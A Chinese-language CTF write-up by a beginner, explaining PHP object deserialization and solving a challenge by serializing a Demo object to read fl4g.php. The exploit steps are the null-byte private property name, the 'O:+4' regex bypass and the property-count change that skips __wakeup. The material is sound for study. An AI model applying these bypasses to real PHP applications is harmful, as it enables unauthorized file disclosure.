前言
做过几次反序列化题目,但都是看wp写出来的,也没有记住,所以记一下笔记。小白理解,有不对的地方,还请大佬们指出。
一、PHP序列化与反序列化
序列化就是将一个对象和其所带的变量和值转换成一组特殊格式的字符串,用于再文件中传输。
反序列化,就是将上述字符串还原的一个方法。
一般利用题目中提供的源码进行编译,得到序列化的结果,通过该结果进行构造payload
二、看题目
1.简单的代码审计
<?php
class Demo {
private $file = 'index.php';#private类,序列化后会变成%00Demo%00file
public function __construct($file) {
$this->file = $file;
}
function __destruct() { #析构函数,在类实例化结束后调用,销毁这个类
echo @highlight_file($this->file, true);
}
function __wakeup() { #会在反序列化时先调用,将file定义为index.php
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) { #get方式请求参数
$var = base64_decode($_GET['var']); #base64解码
if (preg_match('/[oc]:\d+:/i', $var)) { #正则匹配o:数字或c:数字,返回stop hacking
die('stop hacking!');
} else {
@unserialize($var); #反序列化
}
} else {
highlight_file("index.php");
}
?>
审完代码,有了思路,要利用反序列化得到flag。
在利用过程中,需要绕过正则匹配,这里可以使用O:+4绕过正则(这里看其他师傅的文章知道的,我觉得+
相当于空格,不影响后面反序列化)
之后需要绕过wakeup函数,这里直接改键值可绕过,算是基本操作。
2.对fl4g.php进行实例化
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
?>
直接用在线编译器,得到结果
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
这里在线编译器会将private类实例化之后的空格省略,所以在构造payload的时候需要自己加上空格
使用burp进行编码
这里先在demo前后加上空格,需要注意的是private类实例化出来的应该是%00
,并不是空格%20
,所以在16进制中再改成%00
记得前面的绕过姿势,在4前面加上+
,键值1
改为2
,然后进行base64编码,得到最终的payload
得到flag,提交
总结
通过代码审计进行利用反序列化漏洞(遇到不懂函数要自己去查),然后需要自己进行实例化得到序列化结果,需要多练。
参考文章:
https://blog.csdn.net/yanbai3/article/details/122300480